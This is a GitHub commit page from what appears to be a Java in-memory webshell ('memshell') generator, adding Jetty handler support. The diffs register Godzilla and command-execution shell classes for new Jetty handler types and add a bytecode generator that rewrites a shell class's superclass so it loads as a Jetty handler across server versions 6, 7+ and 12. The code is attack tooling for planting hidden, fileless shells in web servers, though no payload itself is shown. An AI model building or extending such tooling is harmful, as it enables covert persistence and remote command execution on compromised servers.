Skip to content

Commit 8c69c63

Browse files
committed
feat: support jetty handler
1 parent 0799ebf commit 8c69c63

35 files changed

+901
-113
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -69,7 +69,9 @@ public class ServerFactory {
6969
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
7070
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
7171
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
72-
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
72+
.addShellClass(HANDLER, GodzillaJettyHandler.class)
73+
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
74+
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
7375
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
7476
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
7577
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
@@ -140,7 +142,9 @@ public class ServerFactory {
140142
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
141143
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
142144
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
143-
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
145+
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
146+
.addShellClass(HANDLER, CommandJettyHandler.class)
147+
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
144148
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
145149
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
146150
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,13 +19,18 @@ public class ShellType {
1919
public static final String PROXY_VALVE = "Proxy" + VALVE;
2020
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
2121

22+
public static final String HANDLER = "Handler";
23+
public static final String JETTY6_HANDLER = "Jetty6Handler";
24+
public static final String JETTY_EE_HANDLER = "JettyEEHandler";
25+
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
26+
2227
public static final String NETTY_HANDLER = "NettyHandler";
2328

2429
public static final String AGENT = "Agent";
2530

2631
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
2732
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
28-
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
33+
public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
2934
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
3035
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
3136
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";

generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@
1111
import com.reajason.javaweb.memshell.config.ShellConfig;
1212
import com.reajason.javaweb.memshell.config.ShellToolConfig;
1313
import com.reajason.javaweb.memshell.server.AbstractServer;
14+
import com.reajason.javaweb.memshell.server.Jetty;
1415
import net.bytebuddy.description.type.TypeDescription;
1516
import net.bytebuddy.dynamic.DynamicType;
1617

@@ -52,6 +53,11 @@ public byte[] getBytes() {
5253
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
5354
}
5455

56+
if (server instanceof Jetty
57+
&& (ShellType.HANDLER.equals(shellType) || ShellType.JAKARTA_HANDLER.equals(shellType))) {
58+
builder = JettyHandlerGenerator.build(builder, shellConfig.getServerVersion());
59+
}
60+
5561
if (shellConfig.isJakarta()) {
5662
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
5763
}
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
package com.reajason.javaweb.memshell.generator;
2+
3+
import com.reajason.javaweb.GenerationException;
4+
import com.reajason.javaweb.buddy.ClassRenameVisitorWrapper;
5+
import net.bytebuddy.asm.AsmVisitorWrapper;
6+
import net.bytebuddy.description.field.FieldDescription;
7+
import net.bytebuddy.description.field.FieldList;
8+
import net.bytebuddy.description.method.MethodList;
9+
import net.bytebuddy.description.type.TypeDescription;
10+
import net.bytebuddy.dynamic.DynamicType;
11+
import net.bytebuddy.implementation.Implementation;
12+
import net.bytebuddy.jar.asm.ClassVisitor;
13+
import net.bytebuddy.jar.asm.MethodVisitor;
14+
import net.bytebuddy.jar.asm.Opcodes;
15+
import net.bytebuddy.pool.TypePool;
16+
17+
/**
18+
* @author ReaJason
19+
* @since 2025/12/2
20+
*/
21+
public class JettyHandlerGenerator {
22+
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, String serverVersion) {
23+
String superClassName = null;
24+
DynamicType.Builder<?> newBuilder = builder;
25+
if (serverVersion != null) {
26+
switch (serverVersion) {
27+
case "6":
28+
superClassName = "org/mortbay/jetty/handler/AbstractHandler";
29+
newBuilder = newBuilder.visit(new ClassRenameVisitorWrapper("org/eclipse/jetty/server", "org/mortbay/jetty"));
30+
break;
31+
case "7+":
32+
superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
33+
break;
34+
case "12":
35+
superClassName = "org/eclipse/jetty/server/Handler$Abstract";
36+
break;
37+
}
38+
}
39+
if (superClassName == null) {
40+
throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
41+
}
42+
String finalSuperClassName = superClassName;
43+
return newBuilder.visit(new AsmVisitorWrapper.ForDeclaredMethods() {
44+
@Override
45+
public ClassVisitor wrap(TypeDescription instrumentedType,
46+
ClassVisitor classVisitor,
47+
Implementation.Context implementationContext,
48+
TypePool typePool,
49+
FieldList<FieldDescription.InDefinedShape> fields,
50+
MethodList<?> methods,
51+
int writerFlags,
52+
int readerFlags) {
53+
return new ClassVisitor(Opcodes.ASM9, classVisitor) {
54+
@Override
55+
public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
56+
super.visit(version, access, name, signature, finalSuperClassName, interfaces);
57+
}
58+
59+
@Override
60+
public MethodVisitor visitMethod(int access, String name, String descriptor,
61+
String signature, String[] exceptions) {
62+
63+
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
64+
if (!name.equals("<init>")) {
65+
return mv;
66+
}
67+
return new MethodVisitor(Opcodes.ASM9, mv) {
68+
@Override
69+
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
70+
if (opcode == org.objectweb.asm.Opcodes.INVOKESPECIAL &&
71+
"java/lang/Object".equals(owner) &&
72+
"<init>".equals(name)) {
73+
super.visitMethodInsn(opcode, finalSuperClassName, name, descriptor, isInterface);
74+
} else {
75+
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
76+
}
77+
}
78+
};
79+
}
80+
};
81+
82+
}
83+
});
84+
}
85+
}

generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java

Lines changed: 12 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,13 @@ public class ValveGenerator {
3232

3333
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
3434
String packageName = null;
35-
if (serverVersion != null) {
35+
if (shell instanceof Bes) {
36+
packageName = BES_VALVE_PACKAGE;
37+
}
38+
if (shell instanceof TongWeb) {
39+
if (serverVersion == null) {
40+
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
41+
}
3642
switch (serverVersion) {
3743
case "6":
3844
packageName = TONGWEB6_VALVE_PACKAGE;
@@ -43,18 +49,14 @@ public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Abstr
4349
case "8":
4450
packageName = TONGWEB8_VALVE_PACKAGE;
4551
break;
52+
default:
53+
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
4654
}
4755
}
48-
if (shell instanceof Bes) {
49-
packageName = BES_VALVE_PACKAGE;
50-
}
51-
if (StringUtils.isEmpty(packageName)) {
52-
if (shell instanceof TongWeb) {
53-
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
54-
}
55-
return builder;
56+
if (StringUtils.isNotBlank(packageName)) {
57+
return builder.visit(new ValveRenameVisitorWrapper(packageName));
5658
}
57-
return builder.visit(new ValveRenameVisitorWrapper(packageName));
59+
return builder;
5860
}
5961

6062
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {

0 commit comments

Comments
 (0)